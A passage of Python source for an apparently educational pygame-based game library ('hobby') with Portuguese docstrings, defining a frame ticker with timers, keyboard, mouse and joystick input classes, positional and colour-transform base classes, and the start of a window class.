blue = int(255 * (1.0 - blue))
alpha = int(255 * (1.0 - alpha))
color = pygame.Color(red, green, blue, alpha)
return color
def _s2ms(seconds):
"""
Converte segundos em milissegundos.
"""
return int(seconds * 1000)
def _ms2s(ms):
"""
Converte milissegundos em segundos.
"""
return ms / 1000
def _normalize_angle(angle):
"""
Normaliza um ângulo de rotação.
"""
if (angle < 0.0) or (angle >= 360.0):
angle %= 360.0
return angle
class _Ticker(object):
"""
Objeto representando o relógio interno.
"""
__slots__ = ('_fps', '_resolution', '_clock', '_timers', '_time')
def __init__(self):
self._fps = 60.0
self._resolution = 1.0 / self._fps
self._timers = {}
self._time = 0.0
self._clock = pygame.time.Clock()
def _update_timers(self):
"""
Atualiza os temporizadores.
"""
to_remove = []
for (timer_id, timer) in self._timers.items():
timer.time += self._resolution
if timer.time >= timer.limit:
timer.time = 0.0
keep = timer.callback()
if not keep:
to_remove.append(timer_id)
for timer_id in to_remove:
del self._timers[timer_id]
@property
def fps(self):
"""
Float maior ou igual a 1.0 representando a taxa de quadros por segundo.
"""
return self._fps
@fps.setter
def fps(self, fps):
_assert_float('fps', fps)
_assert_gr_eq_1('fps', fps)
self._fps = fps
self._resolution = 1.0 / self._fps
def update(self):
"""
update() -> float
Atualiza o relógio interno.
O retorno é um float representando a taxa de quadros por segundo que o
jogo de fato está conseguindo renderizar.
Note que este método deve ser chamado 1 vez a cada quadro do jogo.
"""
self._time += self._resolution
self._update_timers()
keyboard._update()
mouse._update()
for joystick in joysticks:
joystick._update()
window._update()
screen._update()
camera._update()
mouse._draw()
if window._visible:
pygame.display.flip()
for animation in _ANIMATIONS_TO_UPDATE:
animation._update()
_ANIMATIONS_TO_UPDATE.clear()
ms = self._clock.tick_busy_loop(self._fps)
return 1.0 / _ms2s(ms)
def time(self):
"""
time() -> float
Retorna um float maior ou igual a 0.0 representando o tempo decorrido
desde a última chamada para este método em segundos.
"""
time = self._time
self._time = 0.0
return time
def add_timer(self, callback, seconds):
"""
add_timer(callback, seconds) -> int
Registra um objeto chamável para que seja chamado a intervalos
regulares.
O argumento "callback" é o objeto chamável a ser chamado. As chamadas
são feitas sem argumentos. Note que o objeto chamável precisa sempre
retornar um objeto com valor booleano verdadeiro se quiser continuar a
ser chamado a intervalos regulares; do contrário, isto é, se o objeto
chamável retornar um objeto com valor booleano falso (inclusive um None
implícito, fique atento), isso será considerado um sinal para que o
objeto chamável não seja mais chamado a partir de então.
O argumento "seconds" é um float maior ou igual a 0.0 representando o
intervalo entre as chamadas em segundos. Se for 0.0, o objeto chamável
será chamado 1 vez a cada quadro do jogo.
O retorno é um inteiro representando a identificação do temporizador.
Guarde isso se quiser remover o temporizador manualmente em algum
momento.
"""
_assert_callable('callback', callback)
_assert_float('seconds', seconds)
_assert_gr_eq_0('seconds', seconds)
timer = types.SimpleNamespace()
timer_id = id(timer)
timer.time = 0.0
timer.limit = seconds
timer.callback = callback
self._timers[timer_id] = timer
return timer_id
def remove_timer(self, timer_id):
"""
remove_timer(timer_id) -> None
Remove um temporizador, isto é, faz com que um objeto chamável deixe de
ser chamado a intervalos regulares.
O argumento "timer_id" é um inteiro representando a identificação do
temporizador a ser removido.
"""
_assert_int('timer_id', timer_id)
_assert_vld_timer_id(timer_id)
del self._timers[timer_id]
def iteration(self, seconds):
"""
iteration(seconds) -> range
Retorna um iterável cuja interação completa tem a mesma duração
fornecida em segundos.
O argumento "seconds" é um float maior que 0.0, representando a duração
da iteração em segundos.
"""
_assert_float('seconds', seconds)
_assert_gr_0('seconds', seconds)
return range(int(seconds * self._fps) or 1)
class _Input(object):
"""
Classe de base dos dispositivos de entrada.
"""
__slots__ = ()
def _handle(self):
"""
Chama o manipulador do dispositivo (se houver).
"""
if self._handler is None:
return
keep = self._handler()
if not keep:
self._handler = None
def _update_symbol(self, symbol):
"""
Atualiza um símbolo do dispositivo.
"""
before = self._before[symbol]
now = self._now[symbol]
if now and (not before):
self._last = symbol
self._busy[symbol] = True
self._handle()
elif now and before:
self._held[symbol] = True
self._time[symbol] += ticker._resolution
elif (not now) and before:
self._free[symbol] = True
self._time[symbol] = 0.0
self._handle()
def _finish_update(self):
"""
Termina a atualização do dispositivo, iniciada na subclasse.
"""
self._busy = {symbol: False for symbol in self._symbols}
self._free = {symbol: False for symbol in self._symbols}
self._held = {symbol: False for symbol in self._symbols}
self._last = None
for symbol in self._symbols:
self._update_symbol(symbol)
@property
def symbols(self):
"""
Tupla de strings representando os símbolos deste dispositivo.
"""
return self._symbols
@property
def last(self):
"""
None ou uma string representando o símbolo deste dispositivo que se
tornou ocpuado por último durante a renderização do último quadro.
"""
return self._last
@property
def handler(self):
"""
None ou objeto chamável a ser chamado sempre que um símbolo deste
dispositivo se torna ocupado ou se torna livre. As chamadas são feitas
sem argumentos. Note que, se você atribuir um objeto chamável a esta
propriedade, o objeto chamável precisa sempre retornar um objeto com
valor booleano verdadeiro se quiser ser chamado novamente quando o
um símbolo deste dispositivo se tornar ocupado ou se tornar livre; do
contrário, isto é, se o objeto chamável retornar um objeto com valor
booleano falso (inclusive um None implícito, fique atento), isso será
considerado um sinal para que o objeto chamável não seja mais chamado a
partir de então.
"""
return self._handler
@handler.setter
def handler(self, handler):
_assert_callable_none('handler', handler)
self._handler = handler
def busy(self, symbol):
"""
busy(symbol) -> bool
Retorna True se o símbolo fornecido se tornou ocupado durante a
renderização do último quadro. Caso contrário, retorna False.
O argumento "symbol" é uma string não-vazia representando um símbolo
deste dispositivo. Veja a propriedade "symbols" para conhecer todos os
símbolos válidos.
"""
_assert_str('symbol', symbol)
_assert_ne_str('symbol', symbol)
_assert_vld_sym(self, symbol)
return self._busy[symbol]
def free(self, symbol):
"""
free(symbol) -> bool
Retorna True se o símbolo fornecido se tornou livre durante a
renderização do último quadro. Caso contrário, retorna False.
O argumento "symbol" é uma string não-vazia representando um símbolo
deste dispositivo. Veja a propriedade "symbols" para conhecer todos os
símbolos válidos.
"""
_assert_str('symbol', symbol)
_assert_ne_str('symbol', symbol)
_assert_vld_sym(self, symbol)
return self._free[symbol]
def held(self, symbol):
"""
held(symbol) -> bool
Retorna True se o símbolo fornecido é mantido ocupado, independentemente
de quando tenha se tornado ocupado. Caso contrário, retorna False.
O argumento "symbol" é uma string não-vazia representando um símbolo
deste dispositivo. Veja a propriedade "symbols" para conhecer todos os
símbolos válidos.
"""
_assert_str('symbol', symbol)
_assert_ne_str('symbol', symbol)
_assert_vld_sym(self, symbol)
return self._held[symbol]
def time(self, symbol):
"""
time(symbol) -> float
Retorna um float maior ou igual a 0.0 indicando há quantos segundos o
símbolo fornecido é mantido ocupado.
O argumento "symbol" é uma string não-vazia representando um símbolo
deste dispositivo. Veja a propriedade "symbols" para conhecer todos os
símbolos válidos.
"""
_assert_str('symbol', symbol)
_assert_ne_str('symbol', symbol)
_assert_vld_sym(self, symbol)
return self._time[symbol]
class _Keyboard(_Input):
"""
Objeto representando o teclado.
"""
__slots__ = ('_table', '_symbols', '_now', '_before', '_busy', '_free',
'_held', '_time', '_handler', '_last')
def __init__(self):
self._table = {}
for attr in dir(pygame):
if not attr.startswith('K_'):
continue
index = getattr(pygame, attr)
symbol = attr[2:].lower().replace('_', '-')
self._table[symbol] = index
self._symbols = tuple(self._table.keys())
self._now = {symbol: False for symbol in self._symbols}
self._before = {symbol: False for symbol in self._symbols}
self._busy = {symbol: False for symbol in self._symbols}
self._free = {symbol: False for symbol in self._symbols}
self._held = {symbol: False for symbol in self._symbols}
self._time = {symbol: 0.0 for symbol in self._symbols}
self._handler = None
self._last = None
def _update(self):
"""
Atualiza o teclado.
"""
self._before = self._now
self._now = {}
pressed = pygame.key.get_pressed()
for (symbol, index) in self._table.items():
self._now[symbol] = pressed[index]
self._finish_update()
class _Mouse(_Input):
"""
Objeto representando o mouse.
"""
__slots__ = ('_symbols', '_now', '_before', '_busy', '_free', '_held',
'_time', '_handler', '_last', '_position', '_rel_position',
'_visible', '_cursor')
def __init__(self):
self._symbols = ('button-left', 'button-middle', 'button-right',
'wheel-left', 'wheel-right', 'wheel-up', 'wheel-down',
'motion-left', 'motion-right', 'motion-up',
'motion-down')
self._now = {symbol: False for symbol in self._symbols}
self._before = {symbol: False for symbol in self._symbols}
self._busy = {symbol: False for symbol in self._symbols}
self._free = {symbol: False for symbol in self._symbols}
self._held = {symbol: False for symbol in self._symbols}
self._time = {symbol: 0.0 for symbol in self._symbols}
self._handler = None
self._last = None
self._position = pygame.mouse.get_pos()
self._rel_position = ()
self._update_rel_position()
self._visible = True
self._cursor = None
def _draw(self):
"""
Desenha o cursor do mouse na janela (se necessário).
"""
if not self._visible:
return
if self._cursor is None:
return
window._surf.blit(self._cursor._surf, self._position)
def _update_rel_position(self):
"""
Atualiza a posição do cursor do mouse em relação à tela (quando a
posição real é alterada pelo movimento do mouse).
"""
(x, y) = self._position
if screen._fitness:
x -= window._fitness_rect.left
x *= (screen._rect.width / (window._fitness_rect.width or 1))
y -= window._fitness_rect.top
y *= (screen._rect.height / (window._fitness_rect.height or 1))
else:
x *= (screen._rect.width / window._rect.width)
y *= (screen._rect.height / window._rect.height)
self._rel_position = (int(x), int(y))
def _update_position(self):
"""
Atualiza a posição real do cursor do mouse (quando a posição em relação
à tela é alterada por atribuição).
"""
(x, y) = self._rel_position
if screen._fitness:
x *= (window._fitness_rect.width / screen._rect.width)
x += window._fitness_rect.left
y *= (window._fitness_rect.height / screen._rect.height)
y += window._fitness_rect.top
else:
x *= (window._rect.width / screen._rect.width)
y *= (window._rect.height / screen._rect.height)
self._position = (int(x), int(y))
pygame.mouse.set_pos(self._position)
def _update(self):
"""
Atualiza o mouse.
"""
self._before = self._now
self._now = {}
pressed = pygame.mouse.get_pressed()
self._now['button-left'] = pressed[0]
self._now['button-middle'] = pressed[1]
self._now['button-right'] = pressed[2]
wleft = False
wright = False
wup = False
wdown = False
for event in pygame.event.get(pygame.MOUSEWHEEL):
wleft = event.x > 0
wright = event.x < 0
wup = event.y > 0
wdown = event.y < 0
self._now['wheel-left'] = wleft
self._now['wheel-right'] = wright
self._now['wheel-up'] = wup
self._now['wheel-down'] = wdown
(x1, y1) = self._position
(x2, y2) = pygame.mouse.get_pos()
self._now['motion-left'] = (x2 < x1)
self._now['motion-right'] = (x2 > x1)
self._now['motion-up'] = (y2 < y1)
self._now['motion-down'] = (y2 > y1)
self._position = (x2, y2)
if (x1, y1) != (x2, y2):
self._update_rel_position()
self._finish_update()
@property
def position(self):
"""
Tupla de 2 inteiros (x, y) representando a posição do cursor do mouse em
relação à tela.
"""
return self._rel_position
@position.setter
def position(self, position):
_assert_tuple('position', position)
_assert_len_2('position', position)
_assert_int('position[0]', position[0])
_assert_int('position[1]', position[1])
self._rel_position = position
self._update_position()
@property
def cursor(self):
"""
None ou objeto Image representando o cursor do mouse. Se for None, o
cursor do sistema será usado.
"""
return self._cursor
@cursor.setter
def cursor(self, cursor):
_assert_image_none('cursor', cursor)
self._cursor = cursor
if (cursor is None) and self._visible:
pygame.mouse.set_visible(True)
else:
pygame.mouse.set_visible(False)
@property
def visible(self):
"""
Bool indicando se o cursor do mouse é visível.
"""
return self._visible
@visible.setter
def visible(self, visible):
_assert_bool('visible', visible)
self._visible = visible
if (self._cursor is None) and visible:
pygame.mouse.set_visible(True)
else:
pygame.mouse.set_visible(False)
class _Joystick(_Input):
"""
Objeto representando um joystick.
"""
__slots__ = ('_joy', '_num_buttons', '_num_axes', '_num_hats', '_symbols',
'_now', '_before', '_busy', '_free', '_held', '_time',
'_handler', '_last', '_name', '_rumble')
def __init__(self, joy_id):
self._joy = pygame.joystick.Joystick(joy_id)
self._joy.init()
self._num_buttons = self._joy.get_numbuttons()
self._num_axes = self._joy.get_numaxes()
self._num_hats = self._joy.get_numhats()
symbols = []
for button in range(self._num_buttons):
symbols.append(f'button-{button}')
for axis in range(self._num_axes):
symbols.append(f'axis-{axis}-minus')
symbols.append(f'axis-{axis}-plus')
for hat in range(self._num_hats):
symbols.append(f'hat-{hat}-left')
symbols.append(f'hat-{hat}-right')
symbols.append(f'hat-{hat}-up')
symbols.append(f'hat-{hat}-down')
self._symbols = tuple(symbols)
self._now = {symbol: False for symbol in self._symbols}
self._before = {symbol: False for symbol in self._symbols}
self._busy = {symbol: False for symbol in self._symbols}
self._free = {symbol: False for symbol in self._symbols}
self._held = {symbol: False for symbol in self._symbols}
self._time = {symbol: 0.0 for symbol in self._symbols}
self._handler = None
self._last = None
self._name = self._joy.get_name()
self._rumble = 0.0
def _update(self):
"""
Atualiza o joystick.
"""
self._before = self._now
self._now = {}
for button in range(self._num_buttons):
self._now[f'button-{button}'] = self._joy.get_button(button)
for axis in range(self._num_axes):
value = self._joy.get_axis(axis)
self._now[f'axis-{axis}-minus'] = (value < -0.5)
self._now[f'axis-{axis}-plus'] = (value > 0.5)
for hat in range(self._num_hats):
(x, y) = self._joy.get_hat(hat)
self._now[f'hat-{hat}-left'] = (x < 0)
self._now[f'hat-{hat}-right'] = (x > 0)
self._now[f'hat-{hat}-up'] = (y > 0)
self._now[f'hat-{hat}-down'] = (y < 0)
self._finish_update()
if isinstance(self._rumble, float):
self._rumble -= ticker._resolution
if self._rumble <= 0.0:
self._rumble = False
self._joy.stop_rumble()
@property
def name(self):
"""
String representando o nome do joystick.
"""
return self._name
@property
def rumble(self):
"""
Bool ou float maior que 0.0. Se for False, então o joystick não está
vibrando; se for True, então o joystick está vibrando por tempo
indeterminado; se for um float, então o joystick está vibrando e o valor
representa quantos segundos faltam para que o joystick pare de vibrar.
"""
return self._rumble
@rumble.setter
def rumble(self, rumble):
_assert_float_bool('rumble', rumble)
if isinstance(rumble, float):
_assert_gr_0('rumble', rumble)
self._rumble = rumble
if not rumble:
self._joy.stop_rumble()
else:
self._joy.rumble(1.0, 1.0, 0)
class _2D(object):
"""
Classe de base dos objetos que têm 2 dimensões.
"""
__slots__ = ()
@property
def width(self):
"""
Inteiro maior que 0 representando a largura deste objeto em pixels.
"""
return self._rect.width
@property
def height(self):
"""
Inteiro maior que 0 representando a altura deste objeto em pixels.
"""
return self._rect.height
@property
def size(self):
"""
Tupla de 2 inteiros (w, h) maiores que 0 representando a largura e a
altura deste objeto em pixels.
"""
return self._rect.size
class _Resizable(_2D):
"""
Classe de base dos objetos que podem ser redimensionados arbitrariamente.
"""
__slots__ = ()
def _size_changed(self):
"""
Chamado automaticamente quando o tamanho do objeto muda. Não faz nada.
As subclasses podem sobrescrever este método caso precisem realizar
trabalho em resposta às mudanças de tamanho.
"""
pass
@_2D.width.setter
def width(self, width):
_assert_int('width', width)
_assert_gr_0('width', width)
self._rect.width = width
self._size_changed()
@_2D.height.setter
def height(self, height):
_assert_int('height', height)
_assert_gr_0('height', height)
self._rect.height = height
self._size_changed()
@_2D.size.setter
def size(self, size):
_assert_tuple('size', size)
_assert_len_2('size', size)
_assert_int('size[0]', size[0])
_assert_gr_0('size[0]', size[0])
_assert_int('size[1]', size[1])
_assert_gr_0('size[1]', size[1])
self._rect.size = size
self._size_changed()
class _Rescalable(_2D):
"""
Classe de base dos objetos que podem ser redimensionados por fatores.
"""
__slots__ = ()
def _scale_changed(self):
"""
Chamado automaticamente quando os fatores de redimensionamento do objeto
mudam. Não faz nada. As subclasses podem sobrescrever este método caso
precisem realizar trabalho em resposta às mudanças de fator.
"""
pass
@property
def scalex(self):
"""
Float maior ou igual a "sys.float_info.epsilon" representando o quanto
este objeto está redimensionado no eixo x em relção à sua largura
original. Valores menores que "sys.float_info.epsilon" são arredondados
para "sys.float_info.epsilon".
"""
return self._scalex
@scalex.setter
def scalex(self, scalex):
_assert_float('scalex', scalex)
self._scalex = _round_float_ep(scalex)
self._scale_changed()
@property
def scaley(self):
"""
Float maior ou igual a "sys.float_info.epsilon" representando o quanto
este objeto está redimensionado no eixo y em relção à sua altura
original. Valores menores que "sys.float_info.epsilon" são arredondados
para "sys.float_info.epsilon".
"""
return self._scaley
@scaley.setter
def scaley(self, scaley):
_assert_float('scaley', scaley)
self._scaley = _round_float_ep(scaley)
self._scale_changed()
@property
def scale(self):
"""
Tupla de 2 floats (x, y) maiores ou iguais a "sys.float_info.epsilon"
representando o quanto este objeto está redimensionado nos eixos x e y
em relção à sua largura e à sua altura originais. Valores menores que
"sys.float_info.epsilon" são arredondados para "sys.float_info.epsilon".
"""
return (self._scalex, self._scaley)
@scale.setter
def scale(self, scale):
_assert_tuple('scale', scale)
_assert_len_2('scale', scale)
_assert_float('scale[0]', scale[0])
_assert_float('scale[1]', scale[1])
self._scalex = _round_float_ep(scale[0])
self._scaley = _round_float_ep(scale[1])
self._scale_changed()
class _Positional(object):
"""
Classe de base dos objetos que têm propriedades de posionamento.
"""
__slots__ = ()
@property
def top(self):
"""
Inteiro representando a coordenada y do lado superior deste objeto.
"""
return self._rect.top
@property
def left(self):
"""
Inteiro representando a coordenada x do lado esquerdo deste objeto.
"""
return self._rect.left
@property
def bottom(self):
"""
Inteiro representando a coordenada y do lado inferior deste objeto.
"""
return self._rect.bottom
@property
def right(self):
"""
Inteiro representando a coordenada x do lado direito deste objeto.
"""
return self._rect.right
@property
def centerx(self):
"""
Inteiro representando a coordenada x do centro deste objeto.
"""
return self._rect.centerx
@property
def centery(self):
"""
Inteiro representando a coordenada y do centro deste objeto.
"""
return self._rect.centery
@property
def topleft(self):
"""
Tupla de 2 inteiros (x, y) representando as coordenadas x e y do canto
superior esquerdo deste objeto.
"""
return self._rect.topleft
@property
def bottomleft(self):
"""
Tupla de 2 inteiros (x, y) representando as coordenadas x e y do canto
inferior esquerdo deste objeto.
"""
return self._rect.bottomleft
@property
def topright(self):
"""
Tupla de 2 inteiros (x, y) representando as coordenadas x e y do canto
superior direito deste objeto.
"""
return self._rect.topright
@property
def bottomright(self):
"""
Tupla de 2 inteiros (x, y) representando as coordenadas x e y do canto
inferior direito deste objeto.
"""
return self._rect.bottomright
@property
def midtop(self):
"""
Tupla de 2 inteiros (x, y) representando as coordenadas x e y do centro
do lado superior deste objeto.
"""
return self._rect.midtop
@property
def midleft(self):
"""
Tupla de 2 inteiros (x, y) representando as coordenadas x e y do centro
do lado esquerdo deste objeto.
"""
return self._rect.midleft
@property
def midbottom(self):
"""
Tupla de 2 inteiros (x, y) representando as coordenadas x e y do centro
do lado inferior deste objeto.
"""
return self._rect.midbottom
@property
def midright(self):
"""
Tupla de 2 inteiros (x, y) representando as coordenadas x e y do centro
do lado direito deste objeto.
"""
return self._rect.midright
@property
def center(self):
"""
Tupla de 2 inteiros (x, y) representando as coordenadas x e y do centro
deste objeto.
"""
return self._rect.center
def contains_point(self, point):
"""
contains_point(point) -> bool
Retorna True se o ponto fornecido estiver dentro da área deste objeto.
Caso contrário, retorna False.
O argumento "point" é uma tupla de 2 inteiros (x, y) representando as
coordenadas x e y de um ponto.
"""
_assert_tuple('point', point)
_assert_len_2('point', point)
_assert_int('point[0]', point[0])
_assert_int('point[1]', point[1])
return self._rect.collidepoint(point)
def contains(self, positional):
"""
contains(positional) -> bool
Retorna True se o objeto posicional fornecido estiver totalmente dentro
da área deste objeto. Caso contrário, retorna False.
O argumento "positional" é qualquer tipo de objeto posicional. São
considerados posicionais os objetos Image, os objetos Animation, os
objetos _Tile, os objetos TileMap, o objeto hobby.camera e o objeto
hobby.screen.
"""
_assert_positional('positional', positional)
return self._rect.contains(positional._rect)
def collides(self, positional):
"""
collides(positional) -> bool
Retorna True se pelo menos uma parte do objeto posicional fornecido
estiver dentro da área deste objeto. Caso contrário, retorna False.
O argumento "positional" é qualquer tipo de objeto posicional. São
considerados posicionais os objetos Image, os objetos Animation, os
objetos _Tile, os objetos TileMap, o objeto hobby.camera e o objeto
hobby.screen.
"""
_assert_positional('positional', positional)
return self._rect.colliderect(positional._rect)
class _Mobile(_Positional):
"""
Classe de base dos objetos que podem ser movidos.
"""
__slots__ = ()
def _position_changed(self):
"""
Chamado automaticamente quando a posição do objeto muda. Não faz nada.
As subclasses podem sobrescrever este método caso precisem realizar
trabalho em resposta às mudanças de posição.
"""
pass
@_Positional.top.setter
def top(self, top):
_assert_int('top', top)
self._rect.top = top
self._position_changed()
@_Positional.left.setter
def left(self, left):
_assert_int('left', left)
self._rect.left = left
self._position_changed()
@_Positional.bottom.setter
def bottom(self, bottom):
_assert_int('bottom', bottom)
self._rect.bottom = bottom
self._position_changed()
@_Positional.right.setter
def right(self, right):
_assert_int('right', right)
self._rect.right = right
self._position_changed()
@_Positional.centerx.setter
def centerx(self, centerx):
_assert_int('centerx', centerx)
self._rect.centerx = centerx
self._position_changed()
@_Positional.centery.setter
def centery(self, centery):
_assert_int('centery', centery)
self._rect.centery = centery
self._position_changed()
@_Positional.topleft.setter
def topleft(self, topleft):
_assert_tuple('topleft', topleft)
_assert_len_2('topleft', topleft)
_assert_int('topleft[0]', topleft[0])
_assert_int('topleft[1]', topleft[1])
self._rect.topleft = topleft
self._position_changed()
@_Positional.bottomleft.setter
def bottomleft(self, bottomleft):
_assert_tuple('bottomleft', bottomleft)
_assert_len_2('bottomleft', bottomleft)
_assert_int('bottomleft[0]', bottomleft[0])
_assert_int('bottomleft[1]', bottomleft[1])
self._rect.bottomleft = bottomleft
self._position_changed()
@_Positional.topright.setter
def topright(self, topright):
_assert_tuple('topright', topright)
_assert_len_2('topright', topright)
_assert_int('topright[0]', topright[0])
_assert_int('topright[1]', topright[1])
self._rect.topright = topright
self._position_changed()
@_Positional.bottomright.setter
def bottomright(self, bottomright):
_assert_tuple('bottomright', bottomright)
_assert_len_2('bottomright', bottomright)
_assert_int('bottomright[0]', bottomright[0])
_assert_int('bottomright[1]', bottomright[1])
self._rect.bottomright = bottomright
self._position_changed()
@_Positional.midtop.setter
def midtop(self, midtop):
_assert_tuple('midtop', midtop)
_assert_len_2('midtop', midtop)
_assert_int('midtop[0]', midtop[0])
_assert_int('midtop[1]', midtop[1])
self._rect.midtop = midtop
self._position_changed()
@_Positional.midleft.setter
def midleft(self, midleft):
_assert_tuple('midleft', midleft)
_assert_len_2('midleft', midleft)
_assert_int('midleft[0]', midleft[0])
_assert_int('midleft[1]', midleft[1])
self._rect.midleft = midleft
self._position_changed()
@_Positional.midbottom.setter
def midbottom(self, midbottom):
_assert_tuple('midbottom', midbottom)
_assert_len_2('midbottom', midbottom)
_assert_int('midbottom[0]', midbottom[0])
_assert_int('midbottom[1]', midbottom[1])
self._rect.midbottom = midbottom
self._position_changed()
@_Positional.midright.setter
def midright(self, midright):
_assert_tuple('midright', midright)
_assert_len_2('midright', midright)
_assert_int('midright[0]', midright[0])
_assert_int('midright[1]', midright[1])
self._rect.midright = midright
self._position_changed()
@_Positional.center.setter
def center(self, center):
_assert_tuple('center', center)
_assert_len_2('center', center)
_assert_int('center[0]', center[0])
_assert_int('center[1]', center[1])
self._rect.center = center
self._position_changed()
def move(self, x, y):
"""
move(x, y) -> None
Move este objeto.
O argumento "x" é um inteiro representando quantos pixels este objeto
deve ser movido no eixo x.
O argumento "y" é um inteiro representando quantos pixels este objeto
deve ser movido no eixo y.
"""
_assert_int('x', x)
_assert_int('y', y)
self._rect.move_ip(x, y)
self._position_changed()
def clamp(self, positional):
"""
clamp(positional) -> tuple
Move este objeto (se necessário) para que fique totalmente dentro da
área do objeto posicional fornecido. Se este objeto for maior do que o
objeto posicional fornecido, então será centralizado nele.
O argumento "positional" é qualquer tipo de objeto posicional. São
considerados posicionais os objetos Image, os objetos Animation, os
objetos _Tile, os objetos TileMap, o objeto hobby.camera e o objeto
hobby.screen.
O retorno é uma tupla de 2 inteiros (x, y) representando quantos pixels
este objeto foi movido nos eixos x e y.
"""
_assert_positional('positional', positional)
centerx = self._rect.centerx
centery = self._rect.centery
self._rect.clamp_ip(positional._rect)
self._position_changed()
x = self._rect.centerx - centerx
y = self._rect.centery - centery
return (x, y)
class _Transformable(object):
"""
Classe de base dos objetos que podem ser transformados.
"""
__slots__ = ()
def _aspect_changed(self):
"""
Chamado automaticamente quando o aspecto do objeto muda. Não faz nada.
As subclasses podem sobrescrever este método caso precisem realizar
trabalho em resposta às mudanças de aspecto.
"""
pass
@property
def red(self):
"""
Float entre 0.0 e 1.0 representando o nível de vermelho deste objeto.
Valores menores que 0.0 são arredondados para 0.0 e valores maiores que
1.0 são arredondados para 1.0.
"""
return self._red
@red.setter
def red(self, red):
_assert_float('red', red)
self._red = _round_float_0_1(red)
self._sub_color = _make_sub_color(
self._red, self._green, self._blue, self._alpha)
self._aspect_changed()
@property
def green(self):
"""
Float entre 0.0 e 1.0 representando o nível de verde deste objeto.
Valores menores que 0.0 são arredondados para 0.0 e valores maiores que
1.0 são arredondados para 1.0.
"""
return self._green
@green.setter
def green(self, green):
_assert_float('green', green)
self._green = _round_float_0_1(green)
self._sub_color = _make_sub_color(
self._red, self._green, self._blue, self._alpha)
self._aspect_changed()
@property
def blue(self):
"""
Float entre 0.0 e 1.0 representando o nível de azul deste objeto.
Valores menores que 0.0 são arredondados para 0.0 e valores maiores que
1.0 são arredondados para 1.0.
"""
return self._blue
@blue.setter
def blue(self, blue):
_assert_float('blue', blue)
self._blue = _round_float_0_1(blue)
self._sub_color = _make_sub_color(
self._red, self._green, self._blue, self._alpha)
self._aspect_changed()
@property
def alpha(self):
"""
Float entre 0.0 e 1.0 representando o nível de opacidade deste objeto.
Valores menores que 0.0 são arredondados para 0.0 e valores maiores que
1.0 são arredondados para 1.0.
"""
return self._alpha
@alpha.setter
def alpha(self, alpha):
_assert_float('alpha', alpha)
self._alpha = _round_float_0_1(alpha)
self._sub_color = _make_sub_color(
self._red, self._green, self._blue, self._alpha)
self._aspect_changed()
@property
def rgba(self):
"""
Tupla de 4 floats (r, g, b, a) entre 0.0 e 1.0 representando os níveis
de vermelho, verde, azul e opacidade deste objeto. Valores menores que
0.0 são arredondados para 0.0 e valores maiores que 1.0 são arredondados
para 1.0.
"""
return (self._red, self._green, self._blue, self._alpha)
@rgba.setter
def rgba(self, rgba):
_assert_tuple('rgba', rgba)
_assert_len_4('rgba', rgba)
_assert_float('rgba[0]', rgba[0])
_assert_float('rgba[1]', rgba[1])
_assert_float('rgba[2]', rgba[2])
_assert_float('rgba[3]', rgba[3])
self._red = _round_float_0_1(rgba[0])
self._green = _round_float_0_1(rgba[1])
self._blue = _round_float_0_1(rgba[2])
self._alpha = _round_float_0_1(rgba[3])
self._sub_color = _make_sub_color(
self._red, self._green, self._blue, self._alpha)
self._aspect_changed()
@property
def flipx(self):
"""
Bool indicando se este objeto está espelhado no eixo x.
"""
return self._flipx
@flipx.setter
def flipx(self, flipx):
_assert_bool('flipx', flipx)
self._flipx = flipx
self._aspect_changed()
@property
def flipy(self):
"""
Bool indicando se este objeto está espelhado no eixo y.
"""
return self._flipy
@flipy.setter
def flipy(self, flipy):
_assert_bool('flipy', flipy)
self._flipy = flipy
self._aspect_changed()
@property
def flip(self):
"""
Tupla de 2 bools (x, y) indicando se este objeto está espelhado nos
eixos x e y.
"""
return (self._flipx, self._flipy)
@flip.setter
def flip(self, flip):
_assert_tuple('flip', flip)
_assert_len_2('flip', flip)
_assert_bool('flip[0]', flip[0])
_assert_bool('flip[1]', flip[1])
self._flipx = flip[0]
self._flipy = flip[1]
self._aspect_changed()
@property
def angle(self):
"""
Float entre 0.0 e 360.0 representando o ângulo de rotação deste objeto.
Valores fora da faixa são convertidos automaticamente em valores
adequados dentro da faixa.
"""
return self._angle
@angle.setter
def angle(self, angle):
_assert_float('angle', angle)
self._angle = _normalize_angle(angle)
self._aspect_changed()
class _Graphic(object):
"""
Classe de base dos objetos gráficos.
"""
__slots__ = ()
def _data_buffered(self):
"""
Chamado automaticamente quando os dados do objeto são armazenados no
buffer da tela para que o objeto seja desenhado. Não faz nada. As
subclasses podem sobrescrever este método caso precisem realizar
trabalho em resposta aos armazenamentos.
"""
pass
@property
def blends(self):
"""
Tupla de strings representando os métodos de mistura válidos.
"""
return _GRAPHIC_BLENDS
@property
def osd(self):
"""
Bool indicando se este objeto é on-screen display.
"""
return self._osd
@osd.setter
def osd(self, osd):
_assert_bool('osd', osd)
self._osd = osd
@property
def blend(self):
"""
String não-vazia representando o método de mistura deste objeto. Veja
a propriedade "blends" para conhecer os métodos de mistura válidos.
"""
return self._blend
@blend.setter
def blend(self, blend):
_assert_str('blend', blend)
_assert_ne_str('blend', blend)
_assert_vld_blend(blend)
self._blend = blend
self._blend_flag = _GRAPHIC_BLENDS_TABLE[blend]
@property
def info(self):
"""
Qualquer tipo de objeto representando informações. Esta propriedade é
útil caso este objeto esteja associado a um ou mais ladrilhos em um mapa
de ladrilhos. Você pode, por exemplo, atribuir um dicionário a esta
propriedade, com informações a respeito dos ladrilhos a que este objeto
está associado: se são ou não transponíveis, se reduzem a velocidade do
personagem quando o personagem passa por eles, se causam danos etc. Esta
propriedade é refletida na propriedade "info" de cada ladrilho a que
este objeto está associado.
"""
return self._info
@info.setter
def info(self, info):
self._info = info
def draw(self):
"""
draw() -> None
Desenha este objeto na tela.
"""
data = (self._surf, self._rect.topleft, None, self._blend_flag)
if self._osd:
screen._to_draw_osd.append(data)
else:
screen._to_draw.append(data)
self._data_buffered()
class _Window(_Resizable):
"""
Objeto representando a janela.
"""
__slots__ = ('_fullscreen_size', '_last_windowed_size', '_rect',
'_fitness_rect', '_surf', '_fitness_surf', '_visible',
'_resizable', '_fullscreen', '_closing', '_title', '_icon',
'_closer')
def __init__(self):
info = pygame.display.Info()
self._fullscreen_size = (info.current_w, info.current_h)
self._last_windowed_size = (info.current_w // 2, info.current_h // 2)
self._rect = pygame.Rect(0, 0, *self._last_windowed_size)
self._fitness_rect = self._rect.copy()
self._surf = None
self._fitness_surf = None
self._visible = False
self._resizable = False
self._fullscreen = False
self._closing = False
self._title = None
self._set_caption()
self._icon = None
self._set_icon()
self._closer = None
def _set_caption(self):
"""
